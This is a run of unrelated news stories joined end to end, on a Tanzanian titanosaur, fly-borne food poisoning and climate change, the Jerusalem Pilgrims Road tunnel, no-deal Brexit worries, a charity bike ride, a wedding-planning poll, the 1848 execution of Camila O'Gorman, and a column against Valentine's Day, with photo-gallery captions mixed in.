In addition to its unique bone structure, the discovery of the dinosaurs remains, which were found in a riverbed in the East African Rift system of Tanzania, allows scientists to piece together information about how ecosystems evolved in Africa during the Cretaceous period.

Previously, titanosaurs were identified in South America, but the new species discovered in Tanzania, Egypt and other parts of the African continent offer a more complete picture of their evolution.

Of the new dinosaur, lead author Dr Eric Gorscak, a PhD graduate of Ohio University, current research associate, and professor at Midwestern University, said: Although titanosaurs became one of the most successful dinosaur groups before the infamous mass extinction capping the Age of Dinosaurs, their early evolutionary history remains obscure.

Mnyamawamtuka helps tell those beginnings - especially for their African-side of the story."

The dinosaur has a heart-shaped tail bone (SWNS)

The new dinosaur, described in the journal PLOS ONE, is one of three new titanosaurs to be found in the area. Of the fossilised remains, Mnyamawamtuka is one of the most complete.

The fossilised bones of the dinosaur, which were first discovered in 2004 and excavated over the next five years, suggest the animal also shared similarities with another dinosaur Malawisaurus, from just across the Tanzania-Malawi border, according to Dr Gorscak.

According to co-author Dr Patrick OConnor, professor of anatomy at Ohio University, the discoveries of the new dinosaurs is like doing a four-dimensional connect the dots.

Each new discovery adds a bit more detail to the picture of what ecosystems on continental Africa were like during the Cretaceous, allowing us to assemble a more holistic view of biotic change in the past, he said.

The fossililsed remains were found in Africa (SWNS)

Judy Skog, program director in the National Science Foundations division of Earth Sciences, added: Its also timely information about an animal with heart-shaped tail bones during this week of Valentines Day.

To excavate the remains, field teams suspended by ropes and large-scale mechanical excavators were used.

Without the dedication of several field teams - including some whose members donned climbing gear for the early excavations - the skeleton would have eroded away into the river during quite intense wet seasons in this part of the East African Rift System, Dr OConnor said.

The researchers also discovered other animals in the East African Rift, including relatives of early crocodiles and evidence of insect farming from fossilised termite nests, as well as clues about the evolution of monkeys and apes.

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"The Tanzanian story is far from over but we know enough to start asking what palaeontological and geological similarities and dissimilarities there are with nearby rock units, Dr Gorscak said. Revisiting Malawi is my top priority to address these broader, regional questions. With Mnyamawamtuka and other discoveries, I'm not sure to view it as writing or reading the next chapters in the paleontological book of Africa. I'm just excited to see where this story is going to take us.Food poisoning cases could surge as rising global temperatures bring swarms of disease-ridden flies, according to new research.

If greenhouse gas emissions continue at their current rates, fly populations are predicted to double or even triple in the coming decades as changing conditions create the perfect conditions for the insects.

In a new study, Canadian scientists looked at the knock-on effects this could have as fly-borne diseases become more prevalent.

Campylobacter bacteria are one of the main causes of food-borne illness worldwide, and while they are known to contaminate meat the way they spread through populations is not fully understood.

As fluctuations in infections are known to coincide with peak fly densities during the summer months, the insects are thought to be a key link in their transmission.

Glacier collapse shows climate impact Show all 20 1 /20 Glacier collapse shows climate impact Glacier collapse shows climate impact An iceberg floats in a fjord near the town of Tasiilaq Reuters Glacier collapse shows climate impact Meltwater pools on top of the Helheim glacier near Tasiilaq Reuters Glacier collapse shows climate impact Safety officer Brian Rougeux works with student Febin Magar to assemble a radar dome while working in a science camp on the side of the Helheim glacier Reuters Glacier collapse shows climate impact Airplane Mechanic, David Fuller, left, works with a local worker to move a Nasa Gulfstream III during a pre-flight inspection before a flight to support the Oceans Melting Greenland research mission Reuters Glacier collapse shows climate impact Meltwater pools on top of the Helheim glacier Reuters Glacier collapse shows climate impact Earth Science Flight Programs Director at Nasa, Eric Ianson, looks out at the Greenland ice sheet Reuters Glacier collapse shows climate impact Glacial ice is seen from the window during the Nasa flight Reuters Glacier collapse shows climate impact Oceanographer David Holland's science camp on the side of the Helheim glacier Reuters Glacier collapse shows climate impact An iceberg floats in a fjord near the town of Tasiilaq Reuters Glacier collapse shows climate impact A large crevasse forms near the calving front of the Helheim glacier Reuters Glacier collapse shows climate impact Safety officer Brian Rougeux uses a drill to install antennas for scientific instruments that will be left on top of the Helheim glacier Reuters Glacier collapse shows climate impact Tabular icebergs float in the Sermilik Fjord after a large calving event at the Helheim glacier Reuters Glacier collapse shows climate impact Radar Engineer, Ron Muellerschoen, monitors data collection inside a NASA Gulfstream III flying above Greenland to measure loss to the country's ice sheet Reuters Glacier collapse shows climate impact GPS tracking equipment is left on top of the Helheim glacier REUTERS Glacier collapse shows climate impact Sunshine lights up the Helheim glacier Reuters Glacier collapse shows climate impact A glacial terminus above the east coast of Greenland REUTERS Glacier collapse shows climate impact Student Febin Magar watches as leftover wood burns in a research camp Reuters Glacier collapse shows climate impact Tabular icebergs float in the Sermilik Fjord after a large calving event Reuters Glacier collapse shows climate impact Oceanographer David Holland repairs a broken GPS module at his research camp Reuters Glacier collapse shows climate impact An iceberg floats in a fjord near the town of Tasiilaq Reuters

The microbes have been found living on flies, and are thought to be transferred to food and between domestic animals as the insects buzz around in search of a meal.

Researchers used information about the transmission of harmful bacteria by insects and predicted booms in fly populations to estimate how the spread of disease would change.

Insects are very sensitive to changes in the weather and thrive in warmer temperatures, said Melanie Cousins, a PhD student who completed this work as part of her masters thesis at the University of Guelph. "When the temperature is warmer, fly eggs hatch much more quickly meaning that populations can increase rapidly. Therefore, with the projected increases in temperatures and the increased length of the warm season, houseflies are predicted to benefit.

Under high levels of greenhouse gas emissions, increased fly populations and activity could double cases of Campylobacter food poisoning by 2080.

They used data for the Canadian province of Ontario to create their model and data on illness rates from the past 12 years to establish its accuracy.

Their results were published in the journal Royal Society Open Science.

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A separate report recently revealed that intensive agriculture and pesticides mean global insect populations are in freefall, and could be largely eliminated within a century.

However, the authors of that study predicted species like house flies, which are resilient and can adapt to pesticides, are likely to thrive as temperatures get warmer and many of their competitors and predators are wiped out.

As the research undertaken by Ms Cousins and her team was theoretical, she said due to the known impact of warm weather on flies it was worth field work to test for microbes on actual flies.The main road winding through the densely built Arab neighbourhood of Wadi Hilweh is like many others in Jerusalem, lined with convenience stores and often crammed with traffic. Theres little clue to what is happening just yards below the pavement and under the floors of surrounding houses and apartment blocks.

For five years, Israeli archaeologists, supported by a nationalist Jewish organisation, have been digging a tunnel here. Their aim is to uncover what they say was once an important thoroughfare used by worshippers some 2,000 years ago to reach the Jewish holy temple.

Recommended Palestine condemns US decision to stop funding refugee agency

Developers envisage an archaeological attraction that would lure millions of visitors keen to walk the same stones as ancient pilgrims, or perhaps even Jesus. Private donors have contributed $75m (58m) for the Pilgrims Road project, and the government has put up $13m more.

The government also plans to build a cable car to ferry up to 3,000 people an hour into the area where Jerusalems holy sites are concentrated, dropping visitors off outside the tunnels entrance.

But in the conflict between Israelis and Palestinians, where land and each sides historical connection to it is front and centre, the endeavor is inevitably mired in controversy. Palestinian officials say it is an attempt to literally pull their hopes for a future capital in east Jerusalem from under their feet.

An area uncovered by archaeologists in the City of David and the Palestinian area of Wadi Hilweh (The Washington Post)

The City of David Foundation, the organisation behind the project, is already engaged in a battle above ground to expand the Jewish presence in Wadi Hilweh, located in the eastern part of the city occupied by Israel after the 1967 war. The foundation, known by its Hebrew initials Elad, considers the area around Wadi Hilweh to be of particular religious significance to Jews because it is believed to be where King David of the Bible built his city.

Local monitoring groups say the organisation has improperly used absentee property laws to evict Palestinian families from the area and pressured others to sell, enabling roughly 1,000 Jewish Israelis to settle there. The foundation says all its purchases are legal.

The entrance to the tunnel is a few hundred yards from the Old City walls. It is not expected to open to the public for several years yet, but work is well underway with most of the 640m tunnel already cleared.

A team of archaeologists and excavators work from early in the morning until late at night, listening to Eric Clapton as they package mud and dirt into canvas bags. Fluorescent lighting illuminates the stone-paved path that leads down the hillside from the Old City walls toward the Pool of Siloam, which is mentioned in the Old and New Testaments.

Thousands of pilgrims once walked up this street. It was the main pathway that brought people from the south up to the temple. There were many other streets but not as monumental as this, says Joel Uziel, an archaeologist who oversees the project for the Israel Antiquities Authority.

But critics say the project is the most prominent example of Israels effort to use archaeological and tourism sites to legitimise settlement activity and promote a Jewish connection to Jerusalem at the expense of the Palestinians.

It is very clear what they want: a Jewish majority here and in east Jerusalem, says local activist Jawad Siyam, who heads the Wadi Hilweh Information Centre.

He estimates the tunnel runs beneath 200 Arab homes, including 30 that have been seriously damaged by the digging.

Israeli volunteers return a stone from AD70 in the tunnel site last month (The Washington Post)

Uziel dates the road to about AD30. It is believed to have been built by King Herod and was destroyed, Uziel says, during the Jewish revolt against the Romans, which resulted in the destruction of the second Jewish temple in AD70.

The road was originally discovered by the British archaeologists Frederick Bliss and Archibald Dickie in the 1890s. The two excavated here under the auspices of the London-based Palestine Exploration Fund, finding parts of the road near the top of the hill and an ancient drainage system below it.

In 2005, Israeli archaeologist Ronny Reich undertook work to clear that same drainage system. His excavations drew protests and a lawsuit from local residents, but it was rejected by the Israeli Supreme Court. During that work, Reich also discovered the Siloam pool deep in the valley below Wadi Hilweh, as well as three steps leading up to the Herodian street.

Bliss and Dickie dug only a small part of the road, Uziel says. But archaeologists now have new techniques and the ability to find new information so if I dig bigger, Ill get more information that is more accurate.

The current dig has revealed a further 140m of intact Herodian-style paving stones, as wide as 6m in some places. Remains of what might have been shops or homes line at least one side.

The project, however, has been faulted by some critics for ignoring layers of history above. Yonathan Mizrachi, an Israeli archaeologist and executive director of Emek Shaveh, an Israeli group that defends cultural heritage, says the project overlooks many other periods of Jerusalems past and makes no reference to the present Palestinian village that sits above it.

If you are Israeli or Jewish then you feel very excited by what is shown here, he adds. But the history of Jerusalem does not only belong to the Israelis.

In response, the Israel Antiquities Authority said the criticisms were political and that the project would hold deep significance to countless millions of people from all over the world, and from many faiths and backgrounds.

Arafat Hamdan, a resident of Wadi Hilweh, has more immediate concerns. He says his brick home, built in the early 1960s by his father, has subsided six inches since the excavation started. One external wall has collapsed.

Wadi Hilweh resident Arafat Hamdan shows damage he says is caused by excavation (The Washington Post)

How will we benefit from this project? Hamdan asks. Nothing will ever be done to benefit the Arabs in this area. They want their project, but they do not want us to be seen here.

In a small annexe off the main house, Hamdans daughter-in-law Alaa, pointed out the fissures now marring the walls. She says they appeared over the last year.

We know they are looking for something they say belongs to them, but we really have no idea what it is, she said. Surely its illegal to dig under someones house like this.

Doron Spielman, vice president of the City of David Foundation, dismisses such complaints.

We wont not dig an archaeological site just because it upsets people, he says. History should be allowed to speak for itself, and the City of David is evidence that the Jews have been here for 3,000 years.

Because its classified as archaeology, the projects plans did not require the standard planning permission required for buildings. But the Israel Nature and Parks Authority, which oversees the historic areas containing Old City, says the foundations work has all the necessary permits.

The tunnel has been reinforced with girders aimed at preventing subsidence of buildings above, and, Spielman says, a safety engineer has checked on all complaints he received to date about crumbling homes.

The Washington Posts Sufian Taha contributed to this report.

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 Washington PostBusinesses are at risk of being hung out to dry as a result of a no-deal Brexit, with companies still calling out for clarity on key issues just weeks ahead of the UKs departure from the EU.

A list of 20 of the most burning questions businesses have has been put together by the British Chambers of Commerce, which said that many of the unanswered questions reflect fundamental aspects of how companies operate.

The list comes days after a number of the UKs biggest food and drink companies threatened to stop cooperating with the government on anything that is not connected to Brexit.

It also follows a warning from retailers including Sainsburys, Asda and Waitrose that a no-deal Brexit will result in items disappearing from supermarket shelves and could put the UKs food security at risk.

Adam Marshall, director general of the British Chambers of Commerce (BCC), said: In less than 50 days, UK firms could face the biggest change to their terms of trade in over a generation, without the information and clarity they need to navigate their forward course.

Police separate clashing Brexit protesters outside Parliament Show all 11 1 /11 Police separate clashing Brexit protesters outside Parliament Police separate clashing Brexit protesters outside Parliament Anti-Brexit protester Steve Bray (left) and a pro-Brexit protester argue as they demonstrate outside the Houses of Parliament Getty Images Police separate clashing Brexit protesters outside Parliament A pro-Brexit protester argues Getty Images Police separate clashing Brexit protesters outside Parliament Police surround the pro-Brexit protester after he confronted Steve Bray, a pro-European protester Getty Images Police separate clashing Brexit protesters outside Parliament A leave supporter is spoken to by a police officer as he argues with a remain supporter, Steve Bray, outside Parliament PA Police separate clashing Brexit protesters outside Parliament MPs in Parliament are to vote on Theresa May's Brexit deal next week after her December vote was called off in the face of a major defeat Getty Images Police separate clashing Brexit protesters outside Parliament A leave supporter is spoken to by a police officer PA Police separate clashing Brexit protesters outside Parliament Police look on as anti-Brexit protesters demonstrate outside the Houses of Parliament. Getty Images Police separate clashing Brexit protesters outside Parliament Police hold back a leave supporter PA Police separate clashing Brexit protesters outside Parliament A police officer speaks with anti-Brexit protester Steve Bray Getty Images Police separate clashing Brexit protesters outside Parliament Police surround a pro-Brexit protester after he confronted a pro-European protester Getty Images Police separate clashing Brexit protesters outside Parliament Conservative MP David Davies, wearing a gopro camera, speaks to anti-Brexit protester Steve Bray Getty Images

There is a very real risk that a lack of clear, actionable information from government will leave firms, their people and their communities hung out to dry.

He added: Even those companies trying their hardest to get ready are still in the dark on important matters from contracts through to customs. Many others, who took the decision to wait for the political process to conclude before acting, would face sudden and costly adjustments if a deal is not reached.

It is little wonder that many firms have been holding back on investment, stockpiling, and even opening offices and moving operations and jobs elsewhere. The imperative remains to avoid a messy and disorderly exit on 29 March, but businesses need answers they can base decisions on, no matter the outcome. The lack of clear, precise answers is now causing real damage to many businesses, and to the wider economy.

The questions put together by the BCC are as follows:| BY Kim Shaw |

The FireFlies Antipodes, a group of dedicated cyclists from the advertising and production industries, will be taking off on their third ride to raise money for the fight against blood cancers. Taking place over six days from 17 to 23 February 2019, the ride will cover approximately 800km from Christchurch to Queenstown in New Zealand. Members of the media industry including creative directors, producers, sound designers and editors, have banded together to raise awareness and funds to aid The Snowdome Foundation in its fight against blood cancers and Leukaemia.

After completing The FireFlies Tour across the French Alps from Lake Geneva to the Cannes Lions Advertising Festival in 2013, Wilf Sweetland, CEO and partner of Sweetshop brought the tour to Australia and New Zealand. Riders completed the inaugural tour from Christchurch to Queenstown in February 2015 and in 2017 they cycled the 1,000km+ over seven grueling days circumnavigating Tasmania.

Says Sweetland: At its core, FireFlies is about the industry coming together to raise money for a truly worthy cause. Every day The Snowdome Foundation works to unlock new treatments that give hope to the 11,500 Australians diagnosed with Blood Cancers each year. Being a FireFly is a privilege and we are honoured to be a part of this legendary ride that is bringing the courageous cyclists  both experienced and new  together for a great cause.

This years ride is made possible by the generous financial sponsorship of Blockhead, Campaign Brief, Finch Company, Goodoil, Northside Locals, Panavision, Rumble, Skin Grows Back, Snowdome Foundation, SongZu, The Editors, TwentyOne Coffee and founding sponsors Sweetshop and RSA Films.

The Snowdome Foundation was co-founded by ECD Grant Rutherford in 2010 following the loss of his daughter Chloe to Leukaemia.

Riding with the spirit and motto For Those Who Suffer, We Ride the tour aims to raise AUD $60,000 for The Snowdome Foundation. Visit The FireFlies Antipodes website for more details: www.firefliesantipodes.com.Chris Graylings at times shambolic handling of the risks posed by Brexit to Britains crucial transport infrastructure faced renewed scrutiny on Wednesday as MPs grilled the prime minister about a no-deal ferry contract signed and then cancelled by the Department for Transport (DfT).

The most senior member of Grayling's department also answered tough questions from the Public Accounts Committee about rushed procurement, wasted money and a worrying lack of preparedness for a no-deal Brexit at UK borders.

With just six weeks to go, how did we end up at this point?From compiling the guest list and selecting a venue to exploring cuisine, brides and grooms have their work cut out when planning their big day.

A poll of 2,000 British married couples found seating arrangements, photography and venue decor were key tension-contributors, with 52 per cent declaring the whole process "stressful."

The survey found brides will try on four different wedding dresses on average.

Eighty three per cent of reposndents said they were heavily involved in the planning of their own wedding, while the remaining 17 per cent were happy to take a backseat and let someone else do the work.

While partners played a major role in the planning, another pivotal role was also attributed to the mothers of the bride and or groom.

Wedding in a Rohingya refugee camp Show all 9 1 /9 Wedding in a Rohingya refugee camp Wedding in a Rohingya refugee camp Refugee children scuffle over free meals given away during a wedding party for Rohingya refugees Saddam Hussein, 23, and Shofika Begum, 18, at the Kutupalong camp near Cox's Bazar, Bangladesh Reuters Wedding in a Rohingya refugee camp Women and children attend a wedding party for Rohingya refugees Saddam Hussein, 23, and Shofika Begum, 18, at the Kutupalong camp near Cox's Bazar, Bangladesh Reuters Wedding in a Rohingya refugee camp Guests enjoy a wedding party for Rohingya refugees Saddam Hussein, 23, and Shofika Begum, 18, at the Kutupalong refugee camp near Cox's Bazar, Bangladesh Reuters Wedding in a Rohingya refugee camp People attend a wedding party for Rohingya refugees Saddam Hussein, 23, and Shofika Begum, 18, at the Kutupalong camp near Cox's Bazar, Bangladesh Reuters Wedding in a Rohingya refugee camp Guests dance during a wedding party for Rohingya refugees Saddam Hussein, 23, and Shofika Begum, 18, at the Kutupalong camp near Cox's Bazar, Bangladesh Reuters Wedding in a Rohingya refugee camp A refugee tent is decorated by colourful blankets for the wedding ceremony of Rohingya refugees Saddam Hussein, 23, and Shofika Begum, 18, at the Kutupalong camp near Cox's Bazar, Bangladesh Reuters Wedding in a Rohingya refugee camp Shofika Begum, 18, is helped with make-up by her brother's wife on the day she marries Saddam Hussein, 23, both Rohingya refugees, at Kutupalong refugee camp near Cox's Bazar, Bangladesh Reuters Wedding in a Rohingya refugee camp Shofika Begum, 18, cries leaving a tent with her relatives as she is about to meet Saddam Hussein, 23, both Rohingya refugees, on their wedding day at the Kutupalong camp near Cox's Bazar, Bangladesh Reuters Wedding in a Rohingya refugee camp An muslim cleric (R) performs a wedding ritual for Rohingya refugees Saddam Hussein (L), 23, and Shofika Begum, 18, who stays in a separate room, at the Kutupalong camp near Cox's Bazar, Bangladesh, December 11, 2017. The newly wed couple, both from the village of Foyra Bazar in Maungdaw township that was burnt by the Myanmar military, fled with their families and other Rohingya some three months ago, Saddam Hussein said. They knew each other from before escaping from Myanmar and were planning to get married but managed to do so only now, as refugees living in the overcrowded Kutupalong refugee camp Reuters

While brides are likely to focus on issues affecting the dress, seating arrangements and decor, grooms were found to tackle the venue, catering and honeymoon booking.

Planning a wedding is a huge challenge, and expectations for the big day are understandably sky-high, so its no surprise British people want to put the work in to make sure everything goes smoothly," said Charlotte Hill, director of romance at Mercure Hotels, which commissioned the study. "However, tackling some of the big choices in plenty of time, such as finding the perfect venue, dress and caterer, can take care of the lions share of the stress of planning a wedding.

The poll found that only nine per cent of respondent took the plunge with a wedding planner in tow, while one in six began to plan the big day within a week of the proposal.

Some were happy to wait a little longer with one in four taking up to a month before getting stuck in.

In total, 86 per cent felt their wedding day went as planned. However, they did admit another five months to visualise some of the finer details would not have gone amiss.

On the other hand, there were those who were not so happy with three in 10 who said they woulld organise their weddings differently if they had the chance to do it all over again.

 Teacher in Hingham, Massachusetts greeted with Love Actually-style surprise from students at his wedding

The whole stress of the experience also caused fireworks for some, with 27 per cent experiencing arguments and disagreements with people trying to help.

Of these, 46 per cent fell out with their partner over an element of the wedding and one in four had some choice words for the mother-in-law.

One in four confessed they made a handful of decisions about their wedding day just to keep their parents, or in-laws, happy, while 25 per cent were careful to ensure older family traditions were observed.

Three in 10 chose a significant date in the calendar to propose, with birthdays the most popular choice, followed by Valentines Day and New Years Eve.

When seeking inspiration, one in five will think back to weddings of friends to aim matching or topping the show, while one in seven woll scour social media.

Ms Hill said: Weddings are a time to get together for a proper celebration, providing there arent run ins when family and friends insist on getting involved in every plan and detail."

SWNSCamila OGorman was just 20 years old and eight months pregnant when she was executed by a firing squad in the courtyard of Santos Lugares Prison in Argentina on 18 August 1848.

Alongside her, likewise bound and blindfolded in a wooden chair, sat a 24-year-old Jesuit priest, Father Ladislao Gutierrez, doomed to share the same fate.

Their crime? To have fallen in love.

Camila was the granddaughter of Irish merchant Thomas OGorman, a native of County Clare who had cast aside the anti-Catholic persecution of his homeland to serve overseas in the French army, later pressing on to South America where he made his fortune.

In Mauritius, he had married Marie-Anne Perichon de Vandeuil, the daughter of a French colonial administrator. She who would become an influential presence in Buenos Aires, the couples home the centre of the Argentine capitals social whirl, hosting Spanish dignitaries, wealthy business owners and diplomats.

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She would also court scandal, engaging in an affair with Santiago de Liniers, Count of Buenos Aires, who defended the city from British invasion in 1806 and 1807 and was rewarded for his heroism by being named Viceroy of the Rio de la Plata.

Another of her lovers was James Florence Bourke, a former comrade of OGormans now spying for Britain and exploiting her connections to report back to London on anti-Spanish resistance.

These intrigues would foreshadow the tragedy to befall Marie-Annes granddaughter.

Camila O'Gorman (Wikimedia Commons)

Camila was born in 1828, the fifth of six children born to the son of Thomas and Marie-Anne, Adolfo OGorman y Perichon Vandeuil, and his wife Joaquina Ximenez Pinto. One of Camilas siblings would join the Jesuit Order, another would found the Buenos Aires Police Academy.

General Juan Manuel de Rosas had seized control of Argentina in 1835 and ruled with absolute power, torturing dissenters who spoke out against him.

Camila, as a close friend of Rosass daughter Manuelita, was a regular visitor at the Governors Residence in her teens and was approved of as a respected confidant.

Until, that is, she was introduced to Father Gutierrez, a friend of her brothers from seminary. The Jesuits were disapproved of by General Rosas for their outspoken criticism of his draconian rule. He would later banish the Catholic society from Argentina altogether.

Gutierrez had been assigned as parish priest to the OGormans local church, Our Lady of Relief, and visited Camila regularly, beginning a clandestine romance.

Aware of the hostility to their union, the couple eloped on 12 December 1847, fleeing to the town of Goya in Corrientes under the protection of the provinces governor Benjamin Virasoro, long hostile to Rosas. Here, they established a school and lived under assumed names, enjoying the happiest days of their short lives.

Camilas father Adolfo OGorman, a stern disciplinarian, meanwhile wrote to Rosas protesting the familys horror at the development and said Ladislao had seduced her under the guise of religion, and stole her away abandoning the parish on the twelfth of this month.

Speculating they would cross into Bolivia, OGorman implored: Senor, I beg your excellency to send orders in every direction to prevent this poor wretch from finding herself reduced to despair... understanding that she is lost, she may rush headlong into infamy.

The elopement became a matter of public concern when the Rosas opponent Domingo Faustino Sarmineto, exiled in Uruguay, accused the dictator of allowing the moral corruption of Argentinas women to fester, forcing his hand. Rosas himself was known to have fathered five children by a maid, Maria Eugenia, making the hypocrisy of his stance all the more acute.

Exemplary punishment was meanwhile demanded for Camilas having brought the good name of the countrys immigrant population into disrepute, not least from the girls own father and from Father Anthony Fahy, chaplain to Argentinas Irish Catholics.

Juan Manuel de Rosas by Heather Bramwell Norris (Wikimedia Commons)

After being recognised and denounced by one Father Michael Gannon on the streets of Goya, Camila and Ladislao were abducted and dispatched to prison at Santos Lugares. Camila sought help from Manuelita Rosas, who furnished her cell with a piano and books but could do no more due to the forcefulness of her fathers conviction, the dictator determined to make an example of them in response to the very public nature of the criticism he had received.

Condemned to death with the endorsement of lawyer Dalmacio Velez Sarsfield, Camila was visited by the prison chaplain who baptised her unborn baby, the mother drinking holy water while consecrated ashes were applied to her forehead so that at least the child might ascend to heaven.

The next morning, she and Ladislao were executed by musket fire and buried together in a single coffin, the only act of compassion they were granted at the instigation of Rosass secretary, Antonio Reyes, who could not bear to witness the shooting.

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The condemned lovers have been remembered ever since for the intensity of their passion and for the senseless brutality of their end.

Such was the revulsion to their killing, Rosas lost support and his enemies were emboldened. He was finally overthrown after being defeated at the Battle of Caseros by General Justo Jose de Urquiza in 1852 and escaped to Britain, where he lived out the last 25 years of his life in Southampton.

Maria Luisa Bemberg adapted this tragic tale into the Oscar-nominated film Camila in 1984, starring Susu Pecoraro and Imanol Arias.This year marks the second time in my life that Ill be in a relationship on Valentines Day and I have absolutely no plans.

Its not because I dont want to spend time with my boyfriend (I probably will), but if I do, the reason wont be that its 14 February and Tesco is covered in love heart bunting.

The thing is, I dont think theres anything romantic about Valentines Day whatsoever because when you strip away the schmaltz, all youre really celebrating is...well... capitalism.

Figures from the National Retail Federation estimate that a record $20.7bn (16.1bn) will be spent on Valentines Day this year, and thats with fewer people acknowledging it.

Valentines spending is increasing in the UK too, with Worldpay data revealing that the amount of money people splash on presents for loved ones has risen by 13 per cent in the UK since 2017.

95-year-old couple celebrate their 75th Valentine's Day Show all 21 1 /21 95-year-old couple celebrate their 75th Valentine's Day 95-year-old couple celebrate their 75th Valentine's Day Cecelia and James Marsh. James and Cecelia celebrated their 75th wedding anniversary on Christmas Day, 2018. This year, they celebrate their 75th Valentine's Day together. Photograph taken in Bexley, London, on 11th February 2019 SWNS 95-year-old couple celebrate their 75th Valentine's Day Cecelia and James Marsh. James and Cecelia celebrated their 75th wedding anniversary on Christmas Day, 2018. This year, they celebrate their 75th Valentine's Day together. Photograph taken in Bexley, London, on 11th February 2019 SWNS 95-year-old couple celebrate their 75th Valentine's Day Collect picture of Cecelia and James Marsh on 60th wedding anniversary SWNS 95-year-old couple celebrate their 75th Valentine's Day Collect picture of Cecelia and James Marsh on 25th wedding anniversary SWNS 95-year-old couple celebrate their 75th Valentine's Day Picture of Cecelia and James Marsh SWNS 95-year-old couple celebrate their 75th Valentine's Day Cecelia and James Marsh on 70th wedding anniversary SWNS 95-year-old couple celebrate their 75th Valentine's Day Cecelia and James Marsh on 70th wedding anniversary SWNS 95-year-old couple celebrate their 75th Valentine's Day Cecelia and James Marsh with their family on Christmas day 2018 SWNS 95-year-old couple celebrate their 75th Valentine's Day Picture of James Marsh taken in 1989 before the shop closed SWNS 95-year-old couple celebrate their 75th Valentine's Day Picture of James Marsh taken in 1989 before the shop closed SWNS 95-year-old couple celebrate their 75th Valentine's Day Picture of James Marsh taken in 1989 before the shop closed SWNS 95-year-old couple celebrate their 75th Valentine's Day The shop they ran together until it closed in 1989. SWNS 95-year-old couple celebrate their 75th Valentine's Day The first car James Marsh bought in 1955 SWNS 95-year-old couple celebrate their 75th Valentine's Day Marion Jones (daughter) taken in 1950s SWNS 95-year-old couple celebrate their 75th Valentine's Day The bike James rode to and from the mine. early 1940s SWNS 95-year-old couple celebrate their 75th Valentine's Day Cecelia and James Marsh. 1942 SWNS 95-year-old couple celebrate their 75th Valentine's Day James and Cecelia get married, December 1943 SWNS 95-year-old couple celebrate their 75th Valentine's Day Cecelia and James Marsh, taken in the eighties SWNS 95-year-old couple celebrate their 75th Valentine's Day Cecelia and James Marsh in 1989 before shop closed SWNS 95-year-old couple celebrate their 75th Valentine's Day Cecelia and James Marsh. Wedding dec 1943 SWNS 95-year-old couple celebrate their 75th Valentine's Day SWNS Cecelia and James Marsh. James and Cecelia celebrated their 75th wedding anniversary on Christmas Day, 2018. Thius year, they celebrate their 75th Valentine's Day together. SWNS

But it wasnt always about money.

While accounts of the origins of Valentines Day vary, one popular theory is that the day was created in commemoration of a 3rd-century priest named Valentine of Terni. The story goes that he secretly married couples in spite of laws laid out by the Emperor that banned young men from marrying, something that was intended to keep them away from the home and on the battlefield.

He was beheaded for his defiance on 14 February, but the Catholic Church commended Valentine for uniting Christian couples, and so he was recognised as a Saint. His name and the day of his death subsequently became associated with courtly love.

Fast-forward centuries and it feels like Valentines Day has become less about spending time with loved ones and just about spending, period. In 1913 Hallmark Cards declared the day a national holiday. And things have pretty much spiralled from there, with the day now calling for lavish flowers and lingerie that takes 15 minutes to strap into.

But were being sold a lie, because, as Shakespeare writes in The Merchant of Venice, all that glitters is not gold, at least, not where love is concerned. And Ive noticed this more than ever now that Im in a relationship. Let me explain.

Music is not the food of love, but a sausage is

To many, restaurants become bastions of romance at this time of year. But their definition of a Valentines Day-appropriate meal is fundamentally flawed.

I dont see the sexiness in seven-course set menus that will make you so bloated you want to fall asleep, nor do I understand why were encouraged to buy bottles of wine that cost as much as diamond earrings.

Also, why would I want to celebrate romance by ordering truffle celeriac remoulades that look like mashed potato and souffles that I have to wait an additional 20 minutes for? None of this appeals to me or my boyfriend, whose active hatred for Valentines Day, like mine, spans meals and menus.

And supermarkets are worse, lining their shelves with all things heart-shaped, from sweets and chocolates to steaks and even sausages, as evidenced by Marks and Spencers latest  and undeniably phallic  creation.

How exactly a Love Sausage is supposed to get you in the mood remains unclear. But such are the quirks of a day that has been commandeered by brands that prescribe the theory that anything is romantic if it looks like a heart.

The irony of all this is that to me, the most romantic meals are the unplanned ones that take place at home and cost very little.

Its the extra piece toast your partner makes for you to grab on your way out of the house, the giant slab of chocolate you share while watching a film, or the pot of pasta you make together when you feel peckish at 3am.

But you wont see these activities being promoted on the side of a bus because authenticity doesnt have a marketing team. Sweetheart steaks, however, do.

Money can buy you love

We see this same approach tacked to the gift-giving rituals that are encouraged at this time of year, which, like the food, is often an expensive endeavour.

According to a recent survey by online marketplace HushHush.com, the public spent more than 1.5bn on Valentines Day gifts in 2017.

Whether you have 5 or 50 to spare, these expectations put obvious pressures on couples to spend money they may not have on one another.

Personally, I would wince if my boyfriend presented me with a gift on Valentines Day.

Kind as the intention may be, there is nothing sweet or sentimental about buying someone something just because they feel obliged to conform to a tradition that was, in essence, created by a greeting card company. Not to mention the fact that it strips away all spontaneity and can serve only to set you up for disappointment.

A friend of mine once bought their boyfriend an expensive wallet for Valentines Day, he was thrilled. Until he had to present the gift hed bought, which was a poster of a meerkat. She didnt even like meerkats.

According to a study of Facebook data carried out in 2010, Valentines Day is one of the most common times for couples to breakup. And its not hard to see why.

Dont forget to post about your special night on Instagram #thisone

There are more than 16m posts on Instagram under #ValentinesDay.

Now that Im not single, youd think Id feel differently about the thousands of couple selfies flooding my social media feeds at this time of year with captions like so lucky to have #thisone and love my bae #couplegoals. I dont. It still makes my skin crawl and elicits feelings of solidarity with single people for whom these posts feel like stock images of what romance should look like.

In addition, studies have shown that those who brag about their relationships on social media are more likely to have an anxious attachment style, meaning they actually feel insecure about their relationship and post as a way of reassuring themselves. See? Smoke and mirrors.

Psychologists have also written about how the influx of happy-snappy images on V-Day encourages people, single or otherwise, to draw destructive comparisons between their love lives and another persons.

Its not much fun if youre single either

When youre single, all this pomp and pageantry can feel suffocating. Despite attempts to combat this via the influx of singles nights and the advent of Galentines Day, whereby single women are encouraged to go out on 13 February to celebrate one another, intense feelings of shame and pressure persist. Not to mention, theyre also deeply patronising.

 Marks and Spencer launch 'Love Sausage' for Valentine's Day

I should know, I endured years of spending 14 February doing the rounds at singles dinner parties and anti-Valentines Day soirees, all of which conjure up memories of excess alcohol and bad decisions. Most of this was due to the fact that I would go into a party thinking I might find the love of my life, and then feeling terribly disappointed when this didnt happen.

In an optimistic and ambitious move, I once organised a date via a dating app with a guy for Valentines Day. He suggested we meet at 9pm, so naturally I ate something beforehand, thinking this would be a drinks-only situation. He arrived (half an hour late) and immediately ordered a sea bass. I obviously lied and said I was starving too, so also ordered a sea bass when Id eaten a lasagne only one hour previously. I then felt so bloated that I had to leave early because I could no longer sit down without unbuttoning my trousers. It was not the romantic evening Id envisioned.

